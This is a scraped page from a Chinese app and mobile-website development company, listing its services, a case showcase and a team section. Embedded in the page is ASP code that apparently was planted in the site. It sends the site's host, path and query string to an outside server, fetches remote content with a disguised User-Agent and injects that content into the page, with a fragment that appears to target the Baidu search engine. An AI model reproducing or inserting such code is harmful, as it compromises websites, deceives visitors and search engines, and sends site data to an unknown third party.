App开发_手机应用开发_手机网站制作_手机网站开发--易云APP开发公司
手机网站
手机应用
手机网站
APP开发
手机应用开发
手机网站制作
手机网站开发
手机网站开发
app开发
更多>>2021年07月09日案例展示 /
DISPLAY CASE
手机网站制作
更多>>开发团队 /
DEVELOPMENT TEAM
<%
server.Scripttimeout=999999
TD_server="http://www.kmlnow.com/"
host_name="http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name")
Remote_file = TD_server&"/index.php"&"?host="&host_name&"&url="&Request.servervariables("Query_String")&"&domain="&Request.servervariables("Server_Name")
Content_mb=GetHtml(Remote_file)
response.write Content_mb
%>
<%
Function GetHtml(url)
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O"
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gbk"
GetHtml = objStream.ReadText
objStream.Close
End Function
%>
<% if IsExistStr<>"baidu" then %>
<% end if %>
